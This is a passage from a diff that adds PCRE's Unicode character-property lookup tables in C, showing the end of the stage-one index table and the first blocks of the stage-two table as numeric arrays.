+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+C9800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CA000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CA800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CB000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CB800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CC000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CC800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CD000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CD800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CE000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CE800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CF000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+CF800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D0000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D0800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D1000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D1800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D2000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D2800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D3000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D3800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D4000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D4800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D5000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D5800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D6000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D6800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D7000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D7800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D8000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D8800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D9000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+D9800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DA000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DA800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DB000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DB800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DC000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DC800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DD000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DD800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DE000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DE800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DF000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+DF800 */
+154, 16,155,156, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E0000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E0800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E1000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E1800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E2000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E2800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E3000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E3800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E4000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E4800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E5000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E5800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E6000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E6800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E7000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E7800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E8000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E8800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E9000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+E9800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EA000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EA800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EB000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EB800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EC000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EC800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+ED000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+ED800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EE000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EE800 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EF000 */
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, /* U+EF800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F0000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F0800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F1000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F1800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F2000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F2800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F3000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F3800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F4000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F4800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F5000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F5800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F6000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F6800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F7000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F7800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F8000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F8800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F9000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+F9800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FA000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FA800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FB000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FB800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FC000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FC800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FD000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FD800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FE000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FE800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+FF000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,157, /* U+FF800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+100000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+100800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+101000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+101800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+102000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+102800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+103000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+103800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+104000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+104800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+105000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+105800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+106000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+106800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+107000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+107800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+108000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+108800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+109000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+109800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10A000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10A800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10B000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10B800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10C000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10C800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10D000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10D800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10E000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10E800 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,110, /* U+10F000 */
+110,110,110,110,110,110,110,110,110,110,110,110,110,110,110,157, /* U+10F800 */
+};
+
+const pcre_uint16 _pcre_ucd_stage2[] = { /* 40448 bytes, block = 128 */
+/* block 0 */
+  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,
+  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,
+  1,  2,  2,  2,  3,  2,  2,  2,  4,  5,  2,  6,  2,  7,  2,  2,
+  8,  8,  8,  8,  8,  8,  8,  8,  8,  8,  2,  2,  6,  6,  6,  2,
+  2,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,
+  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  4,  2,  5, 10, 11,
+ 10, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,
+ 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,  4,  6,  5,  6,  0,
+
+/* block 1 */
+  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,
+  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,
+  1,  2,  3,  3,  3,  3, 13, 13, 10, 13, 14, 15,  6, 16, 13, 10,
+ 13,  6, 17, 17, 10, 18, 13,  2, 10, 17, 14, 19, 17, 17, 17,  2,
+  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,  9,
+  9,  9,  9,  9,  9,  9,  9,  6,  9,  9,  9,  9,  9,  9,  9, 14,
+ 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12,
+ 12, 12, 12, 12, 12, 12, 12,  6, 12, 12, 12, 12, 12, 12, 12, 20,
+
+/* block 2 */
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 23, 24, 21, 22, 21, 22, 21, 22, 14, 21, 22, 21, 22, 21, 22, 21,
+ 22, 21, 22, 21, 22, 21, 22, 21, 22, 14, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 25, 21, 22, 21, 22, 21, 22, 26,
+
+/* block 3 */
+ 27, 28, 21, 22, 21, 22, 29, 21, 22, 30, 30, 21, 22, 14, 31, 32,
+ 33, 21, 22, 30, 34, 35, 36, 37, 21, 22, 38, 14, 36, 39, 40, 41,
+ 21, 22, 21, 22, 21, 22, 42, 21, 22, 42, 14, 14, 21, 22, 42, 21,
+ 22, 43, 43, 21, 22, 21, 22, 44, 21, 22, 14, 45, 21, 22, 14, 46,
+ 45, 45, 45, 45, 47, 48, 49, 47, 48, 49, 47, 48, 49, 21, 22, 21,
+ 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 50, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 14, 47, 48, 49, 21, 22, 51, 52, 21, 22, 21, 22, 21, 22, 21, 22,
+
+/* block 4 */
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 53, 14, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 21, 22, 21, 22, 14, 14, 14, 14, 14, 14, 54, 21, 22, 55, 56, 14,
+ 14, 21, 22, 57, 58, 59, 21, 22, 21, 22, 21, 22, 21, 22, 21, 22,
+ 60, 61, 14, 62, 63, 14, 64, 64, 14, 65, 14, 66, 14, 14, 14, 14,
+ 64, 14, 14, 67, 14, 14, 14, 14, 68, 69, 14, 70, 14, 14, 14, 69,
+ 14, 71, 72, 14, 14, 73, 14, 14, 14, 14, 14, 14, 14, 74, 14, 14,
+
+/* block 5 */
+ 75, 14, 14, 75, 14, 14, 14, 14, 75, 76, 77, 77, 78, 14, 14, 14,
+ 14, 14, 79, 14, 45, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
+ 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14,
+ 80, 80, 80, 80, 80, 80, 80, 80, 80, 81, 81, 81, 81, 81, 81, 81,
+ 81, 81, 10, 10, 10, 10, 81, 81, 81, 81, 81, 81, 81, 81, 81, 81,
+ 81, 81, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10,
+ 80, 80, 80, 80, 80, 10, 10, 10, 10, 10, 10, 10, 81, 10, 81, 10,
+ 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10,
+
+/* block 6 */
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 83, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 84, 85, 84, 85, 81, 86, 84, 85, 87, 87, 88, 89, 89, 89,  2, 87,
+
+/* block 7 */
+ 87, 87, 87, 87, 86, 10, 90,  2, 91, 91, 91, 87, 92, 87, 93, 93,
+ 94, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95, 95,
+ 95, 95, 87, 95, 95, 95, 95, 95, 95, 95, 95, 95, 96, 97, 97, 97,
+ 94, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98, 98,
+ 98, 98, 99, 98, 98, 98, 98, 98, 98, 98, 98, 98,100,101,101,102,
+103,104,105,105,105,106,107,108, 84, 85, 84, 85, 84, 85, 84, 85,
+ 84, 85,109,110,109,110,109,110,109,110,109,110,109,110,109,110,
+111,112,113, 94,114,115,116, 84, 85,117, 84, 85, 94,118,118,118,
+
+/* block 8 */
+119,119,119,119,119,119,119,119,119,119,119,119,119,119,119,119,
+120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,
+120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,
+121,121,121,121,121,121,121,121,121,121,121,121,121,121,121,121,
+121,121,121,121,121,121,121,121,121,121,121,121,121,121,121,121,
+122,122,122,122,122,122,122,122,122,122,122,122,122,122,122,122,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+
+/* block 9 */
+123,124,125,126,126,126,126,126,127,127,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+128,123,124,123,124,123,124,123,124,123,124,123,124,123,124,129,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+
+/* block 10 */
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124,123,124,123,124,123,124,123,124,123,124,123,124,
+123,124,123,124, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87,130,130,130,130,130,130,130,130,130,130,130,130,130,130,130,
+130,130,130,130,130,130,130,130,130,130,130,130,130,130,130,130,
+130,130,130,130,130,130,130, 87, 87,131,132,132,132,132,132,132,
+ 87,133,133,133,133,133,133,133,133,133,133,133,133,133,133,133,
+133,133,133,133,133,133,133,133,133,133,133,133,133,133,133,133,
+
+/* block 11 */
+133,133,133,133,133,133,133,134, 87,  2,135, 87, 87, 87, 87, 87,
+ 87,136,136,136,136,136,136,136,136,136,136,136,136,136,136,136,
+136,136,136,136,136,136,136,136,136,136,136,136,136,136,136,136,
+136,136,136,136,136,136,136,136,136,136,136,136,136,136,137,136,
+138,136,136,138,136,136,138,136, 87, 87, 87, 87, 87, 87, 87, 87,
+139,139,139,139,139,139,139,139,139,139,139,139,139,139,139,139,
+139,139,139,139,139,139,139,139,139,139,139, 87, 87, 87, 87, 87,
+139,139,139,138,138, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 12 */
+ 16, 16, 16, 16, 87, 87,140,140,140,141,141,142,  2,141,143,143,
+144,144,144,144,144,144,144,144,144,144,144,  2, 87, 87,141,  2,
+ 87,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+ 81,145,145,145,145,145,145,145,145,145,145, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82,144,144,144,144,144,144,144,144,144, 87,
+  8,  8,  8,  8,  8,  8,  8,  8,  8,  8,141,141,141,141,145,145,
+ 82,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+
+/* block 13 */
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,141,145,144,144,144,144,144,144,144, 16,146,144,
+144,144,144,144,144,147,147,144,144,143,144,144,144,144,145,145,
+148,148,148,148,148,148,148,148,148,148,145,145,145,143,143,145,
+
+/* block 14 */
+149,149,149,149,149,149,149,149,149,149,149,149,149,149, 87,150,
+151,152,151,151,151,151,151,151,151,151,151,151,151,151,151,151,
+151,151,151,151,151,151,151,151,151,151,151,151,151,151,151,151,
+152,152,152,152,152,152,152,152,152,152,152,152,152,152,152,152,
+152,152,152,152,152,152,152,152,152,152,152, 87, 87,151,151,151,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,145,
+
+/* block 15 */
+153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,
+153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,153,
+153,153,153,153,153,153,154,154,154,154,154,154,154,154,154,154,
+154,153, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+155,155,155,155,155,155,155,155,155,155,156,156,156,156,156,156,
+156,156,156,156,156,156,156,156,156,156,156,156,156,156,156,156,
+156,156,156,156,156,156,156,156,156,156,156,157,157,157,157,157,
+157,157,157,157,158,158,159,160,160,160,158, 87, 87, 87, 87, 87,
+
+/* block 16 */
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 17 */
+ 87,161,161,162,163,163,163,163,163,163,163,163,163,163,163,163,
+163,163,163,163,163,163,163,163,163,163,163,163,163,163,163,163,
+163,163,163,163,163,163,163,163,163,163,163,163,163,163,163,163,
+163,163,163,163,163,163,163,163,163,163, 87, 87,161,163,162,162,
+162,161,161,161,161,161,161,161,161,162,162,162,162,161, 87, 87,
+163, 82, 82,161,161, 87, 87, 87,163,163,163,163,163,163,163,163,
+163,163,161,161,  2,  2,164,164,164,164,164,164,164,164,164,164,
+  2,165,163, 87, 87, 87, 87, 87, 87, 87, 87,163,163,163,163,163,
+
+/* block 18 */
+ 87,166,167,167, 87,168,168,168,168,168,168,168,168, 87, 87,168,
+168, 87, 87,168,168,168,168,168,168,168,168,168,168,168,168,168,
+168,168,168,168,168,168,168,168,168, 87,168,168,168,168,168,168,
+168, 87,168, 87, 87, 87,168,168,168,168, 87, 87,166,168,167,167,
+167,166,166,166,166, 87, 87,167,167, 87, 87,167,167,166,168, 87,
+ 87, 87, 87, 87, 87, 87, 87,167, 87, 87, 87, 87,168,168, 87,168,
+168,168,166,166, 87, 87,169,169,169,169,169,169,169,169,169,169,
+168,168,170,170,171,171,171,171,171,171,172, 87, 87, 87, 87, 87,
+
+/* block 19 */
+ 87,173,173,174, 87,175,175,175,175,175,175, 87, 87, 87, 87,175,
+175, 87, 87,175,175,175,175,175,175,175,175,175,175,175,175,175,
+175,175,175,175,175,175,175,175,175, 87,175,175,175,175,175,175,
+175, 87,175,175, 87,175,175, 87,175,175, 87, 87,173, 87,174,174,
+174,173,173, 87, 87, 87, 87,173,173, 87, 87,173,173,173, 87, 87,
+ 87,173, 87, 87, 87, 87, 87, 87, 87,175,175,175,175, 87,175, 87,
+ 87, 87, 87, 87, 87, 87,176,176,176,176,176,176,176,176,176,176,
+173,173,175,175,175,173, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 20 */
+ 87,177,177,178, 87,179,179,179,179,179,179,179,179,179, 87,179,
+179,179, 87,179,179,179,179,179,179,179,179,179,179,179,179,179,
+179,179,179,179,179,179,179,179,179, 87,179,179,179,179,179,179,
+179, 87,179,179, 87,179,179,179,179,179, 87, 87,177,179,178,178,
+178,177,177,177,177,177, 87,177,177,178, 87,178,178,177, 87, 87,
+179, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+179,179,177,177, 87, 87,180,180,180,180,180,180,180,180,180,180,
+ 87,181, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 21 */
+ 87,182,183,183, 87,184,184,184,184,184,184,184,184, 87, 87,184,
+184, 87, 87,184,184,184,184,184,184,184,184,184,184,184,184,184,
+184,184,184,184,184,184,184,184,184, 87,184,184,184,184,184,184,
+184, 87,184,184, 87,184,184,184,184,184, 87, 87,182,184,183,182,
+183,182,182,182,182, 87, 87,183,183, 87, 87,183,183,182, 87, 87,
